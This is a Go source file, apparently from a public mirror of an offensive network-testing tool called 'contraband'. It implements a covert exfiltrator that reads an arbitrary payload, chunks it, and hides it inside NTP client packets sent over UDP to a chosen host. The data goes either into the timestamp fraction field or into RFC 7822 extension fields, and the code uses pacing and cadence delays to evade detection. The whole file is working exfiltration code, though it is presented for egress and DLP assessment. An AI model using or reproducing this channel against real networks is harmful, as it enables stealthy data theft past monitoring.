● Notice //GitHub (@shehzade) is temporarily suspended pending an automated false-positive review. All tools are hosted on this Code Mirror and available on request (contact); GitHub links will return once reinstated.
PUBLIC MIRRORGo v1.0

Multi-protocol network egress assessment and DLP verification framework featuring automated L4 sweeps, corporate proxy traversal, and covert protocol smuggling across 20+ channels.

$ git clone https://shehzade.io/repos/contraband.git Copy
Source ZIP (1.93 MB)
Code 174 Commits 1
contraband / pkg / client / exfil / covert / ntp.go
← Back to directory
221 lines · 6.1 KB
Raw
1package covert
2
3import (
4 "context"
5 "crypto/sha256"
6 "encoding/binary"
7 "encoding/hex"
8 "fmt"
9 "io"
10 "net"
11 "strconv"
12 "strings"
13 "time"
14
15 "github.com/shehzade/contraband/pkg/client/evasion"
16 "github.com/shehzade/contraband/pkg/client/exfil"
17 "github.com/shehzade/contraband/pkg/common"
18)
19
20func init() {
21 exfil.RegisterExfiltrator(common.ProtoNTPTime, NewNTPExfiltrator())
22}
23
24const (
25 NTPExtensionFieldTypeCTRB = 0x4354 // "CT"
26 NTPHeaderLength = 48
27)
28
29// NTPExfiltrator implements NTP Transmit Timestamp and RFC 7822 Extension Field Smuggling.
30type NTPExfiltrator struct{}
31
32func NewNTPExfiltrator() *NTPExfiltrator {
33 return &NTPExfiltrator{}
34}
35
36func (e *NTPExfiltrator) Protocol() string {
37 return common.ProtoNTPTime
38}
39
40// BuildNTPPacket builds a standard 48-byte NTP client packet with optional RFC 7822 extension field.
41func BuildNTPPacket(mode string, chunkData []byte) []byte {
42 buf := make([]byte, NTPHeaderLength)
43 buf[0] = 0x23 // LI=0, VN=4, Mode=3 (Client)
44 buf[1] = 0 // Stratum 0
45 buf[2] = 4 // Poll 16s
46 buf[3] = 0xFA // Precision
47
48 now := time.Now().UTC()
49 secs := uint32(now.Unix() + 2208988800) // Seconds since Jan 1 1900
50 binary.BigEndian.PutUint32(buf[40:44], secs)
51
52 if mode == "fractional" && len(chunkData) >= 4 {
53 // Smuggle 4 bytes directly into fractional seconds (offset 44-48)
54 copy(buf[44:48], chunkData[:4])
55 return buf
56 }
57
58 // Normal random fraction
59 frac := uint32(now.Nanosecond())
60 binary.BigEndian.PutUint32(buf[44:48], frac)
61
62 if len(chunkData) > 0 {
63 // RFC 7822 Extension Field:
64 // Type (2 bytes) + Length (2 bytes) + Value (padded to 4-byte multiple)
65 valLen := len(chunkData)
66 padLen := (4 - (valLen % 4)) % 4
67 extFieldLen := 4 + valLen + padLen
68 if extFieldLen < 16 {
69 // RFC 7822 requires extension field length to be at least 16 or 28 octets
70 padLen += 16 - extFieldLen
71 extFieldLen = 16
72 }
73
74 extBuf := make([]byte, extFieldLen)
75 binary.BigEndian.PutUint16(extBuf[0:2], NTPExtensionFieldTypeCTRB)
76 binary.BigEndian.PutUint16(extBuf[2:4], uint16(extFieldLen))
77 copy(extBuf[4:], chunkData)
78
79 buf = append(buf, extBuf...)
80 }
81
82 return buf
83}
84
85func (e *NTPExfiltrator) Exfiltrate(ctx context.Context, reader io.Reader, opts exfil.ExfilOptions) (*common.ProbeResult, error) {
86 if err := opts.Validate(); err != nil {
87 return nil, err
88 }
89
90 start := time.Now().UTC()
91 result, err := common.NewProbeResult("exfil", e.Protocol(), opts.TargetHost, opts.TargetPort)
92 if err != nil {
93 return nil, err
94 }
95 result.Timestamps.StartTCP = start
96 result.PayloadType = opts.PayloadType
97 result.CarrierType = opts.CarrierType
98
99 payload, err := io.ReadAll(reader)
100 if err != nil {
101 return nil, fmt.Errorf("failed to read payload: %w", err)
102 }
103 result.TargetVolume = int64(len(payload))
104
105 if opts.ExpectedHash == "" {
106 h := sha256.Sum256(payload)
107 opts.ExpectedHash = hex.EncodeToString(h[:])
108 }
109 result.PayloadHash = opts.ExpectedHash
110
111 if opts.SessionToken.IsZero() {
112 tok, tokErr := common.NewSessionToken()
113 if tokErr != nil {
114 return nil, tokErr
115 }
116 opts.SessionToken = tok
117 }
118
119 chunks, err := evasion.ChunkPayload(payload, opts.SessionToken, opts.ChunkSize)
120 if err != nil {
121 return nil, fmt.Errorf("failed to chunk payload: %w", err)
122 }
123
124 mode := strings.ToLower(opts.Headers["ntp_mode"])
125 if mode == "" {
126 mode = "extension" // Default to RFC 7822 high-capacity extension fields
127 }
128
129 targetAddr := net.JoinHostPort(opts.TargetHost, strconv.Itoa(opts.TargetPort))
130 udpAddr, resErr := net.ResolveUDPAddr("udp", targetAddr)
131 if resErr != nil {
132 result.Verdict = classifyCovertError(resErr)
133 result.ErrorMessage = resErr.Error()
134 calculateCovertDurations(&result)
135 return &result, resErr
136 }
137
138 conn, dialErr := net.DialUDP("udp", nil, udpAddr)
139 if dialErr != nil {
140 result.Verdict = classifyCovertError(dialErr)
141 result.ErrorMessage = dialErr.Error()
142 calculateCovertDurations(&result)
143 return &result, dialErr
144 }
145 defer conn.Close()
146
147 result.Timestamps.ConnectedTCP = time.Now().UTC()
148 result.Timestamps.FirstByteSent = time.Now().UTC()
149
150 for seq := 1; seq <= len(chunks); seq++ {
151 chunkFrame := chunks[seq-1]
152
153 if opts.Shaper != nil {
154 if err := opts.Shaper.WaitN(ctx, len(chunkFrame)); err != nil {
155 result.Verdict = classifyCovertError(err)
156 result.ErrorMessage = err.Error()
157 calculateCovertDurations(&result)
158 return &result, err
159 }
160 }
161 if opts.Cadence != nil {
162 delay := opts.Cadence.NextDelay()
163 if delay > 0 {
164 select {
165 case <-time.After(delay):
166 case <-ctx.Done():
167 result.Verdict = classifyCovertError(ctx.Err())
168 result.ErrorMessage = ctx.Err().Error()
169 calculateCovertDurations(&result)
170 return &result, ctx.Err()
171 }
172 }
173 }
174
175 ntpPacket := BuildNTPPacket(mode, chunkFrame)
176 if _, writeErr := conn.Write(ntpPacket); writeErr != nil {
177 result.Verdict = classifyCovertError(writeErr)
178 result.ErrorMessage = fmt.Sprintf("NTP write failed: %v", writeErr)
179 calculateCovertDurations(&result)
180 return &result, writeErr
181 }
182 result.BytesSent += int64(len(ntpPacket))
183
184 // Await NTP Mode 4 Server reply
185 _ = conn.SetReadDeadline(time.Now().Add(opts.Timeout))
186 replyBuf := make([]byte, 1024)
187 n, readErr := conn.Read(replyBuf)
188 if readErr != nil {
189 result.Verdict = classifyCovertError(readErr)
190 result.ErrorMessage = fmt.Sprintf("NTP reply timeout/error for chunk %d: %v", seq, readErr)
191 calculateCovertDurations(&result)
192 return &result, readErr
193 }
194 result.BytesRecv += int64(n)
195
196 if n < 48 {
197 err := fmt.Errorf("truncated NTP server response: %d bytes", n)
198 result.Verdict = common.VerdictBlockedL7
199 result.ErrorMessage = err.Error()
200 calculateCovertDurations(&result)
201 return &result, err
202 }
203
204 modeByte := replyBuf[0] & 0x07
205 if modeByte != 4 { // Mode 4: Server
206 err := fmt.Errorf("unexpected NTP response mode: %d (expected 4)", modeByte)
207 result.Verdict = common.VerdictBlockedL7
208 result.ErrorMessage = err.Error()
209 calculateCovertDurations(&result)
210 return &result, err
211 }
212 }
213
214 result.Timestamps.AckReceived = time.Now().UTC()
215 result.Timestamps.TeardownDone = time.Now().UTC()
216 result.Verdict = common.VerdictSuccess
217 result.RawEvidence = common.FormatBoundedRawEvidence(payload)
218 calculateCovertDurations(&result)
219
220 return &result, nil
221}